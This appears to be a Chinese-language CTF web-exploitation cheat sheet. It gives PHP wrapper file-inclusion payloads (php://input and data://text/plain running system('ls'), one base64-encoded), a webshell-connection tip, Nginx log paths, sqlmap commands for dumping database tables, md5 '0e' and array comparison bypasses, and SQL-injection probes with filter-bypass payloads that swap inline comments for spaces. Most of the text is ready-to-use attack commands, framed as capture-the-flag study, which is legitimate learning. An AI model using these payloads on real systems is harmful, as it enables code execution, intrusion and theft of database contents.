文章目录
- 1、基础知识部分
- 2、php伪协议
-
- [2.1 php://input协议](#2.1 php://input协议)
- [2.2 data://text/plain协议](#2.2 data://text/plain协议)
- 3、webshell连接工具
-
- [3.1 蚁剑连接一句话木马](#3.1 蚁剑连接一句话木马)
- 4、各个web中间件重要文件路径
-
- [4.1 Nginx](#4.1 Nginx)
- 5、sqlmap使用
- 6、php特性
-
- [6.1 md5加密漏洞](#6.1 md5加密漏洞)
- [7、TOP 10漏洞](#7、TOP 10漏洞)
-
- [7.1 SQL注入](#7.1 SQL注入)
1、基础知识部分
- 识别base64编码:大小写+数字,偶尔最后几位是= or ++
2、php伪协议
2.1 php://input协议
关于php://input ,简单来说:当php://input 与include连用时,数据包中的post字段将会当做php代码执行。
bash
# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>
2.2 data://text/plain协议
关于data://text/plain ,简单来说:当data://text/plain 与include 连用时,data://text/plain后面接着的数据会被当做php代码执行。
bash
?url=data://text/plain,<?php system('ls');?> #
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式
3、webshell连接工具
3.1 蚁剑连接一句话木马
如果蚁剑报错:unable_to_verify_leaf_signature ,是证书的原因,目前的解决方法是将URL中的https改为http。
4、各个web中间件重要文件路径
4.1 Nginx
bash
# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径
# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径
5、sqlmap使用
sqlmap常用命令:
bash
python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容
# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*
# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数
6、php特性
6.1 md5加密漏洞
- md5
0e
漏洞:就是说在使用md5()
和==
进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e
开头的字符串,那么左右两边将会相等。 - 当使用
md5()
和===
进行变量对比的时候, 使用数组可以绕过md5()函数的检测。
7、TOP 10漏洞
7.1 SQL注入
SQL注入常见的测试方法就是:
- 在参数后面加个
'
,看返回包是否报错; - 使用万能密码
1' or 1=1 --+
,看返回包有没有反应。
SQL注入绕过:
sh
# 空格被过滤
username=1'or(true)# # 用(true)代替1=1
username=1'/**/or/**/1=1/**/# # 用内联注释(/**/)代替空格
经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/# 正常返回
id=1'/**/and/**/1=2/**/# 数据未返回,存在SQL注入
或者
id=1'/**/and/**/(true)/**/# 正常返回
id=1'/**/and/**/(false)/**/# 数据未返回,存在SQL注入
或者
id=1'/**/or/**/(false)# 返回一条数据
id=1'/**/or/**/(true)# 返回当前表里的所有数据